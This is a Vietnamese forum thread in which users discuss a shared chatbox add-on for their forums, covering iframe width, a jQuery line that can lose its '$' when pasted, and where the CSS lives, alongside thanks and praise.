[shine shaymin sky]

cho mình hỏi chỉnh độ dài của chatbox thế nào

[thuanoo7]

cho mình hỏi chỉnh độ dài của chatbox thế nào

iframe tớ để 100% nên nó rộng theo chiều rộng forum, ko phải chỉnh đâu

[kimgiau]

cảm ơn!

[Kuro123456]

Hay wá. mình vote 1 phát đây

[thuanoo7]

Các bạn chú ý nhé!! trong đoạn html của CB tớ đưa, sau khi paste vào thì các bạn kiểm tra lại chỗ này thật chính xác chưa??

Code:

{$('#divcolor').css('display');$('#divsmilies').css('display');}

vì đôi khi lỗi paste code vào nó mất đi cái "$"

[KoolPrince]

Cái này là Chatbox tự đăng nhập luôn àh!! cảm ơn nhé!!

[lop11a2]

Mấy Anh ơi . send cho em cái overall_header của anh được Không . Cai của em Lỗi Hết rồi . Cho EM Hỏi vài cái luôn . Css nằm ở đâu thế và css chát box nằm ở đâu. Em Mới lập Forum Nhìn THấy Cái Đó đẹp quá nà . Cảm ơn Anh Trước

[cauam]

công nhận topic này hot thiệt

[Việt]

Hot boy chia sẻ hàng hot thì topic dĩ nhiên cũng hot

[davidhoang]

đẹp qua

[Sponsored content]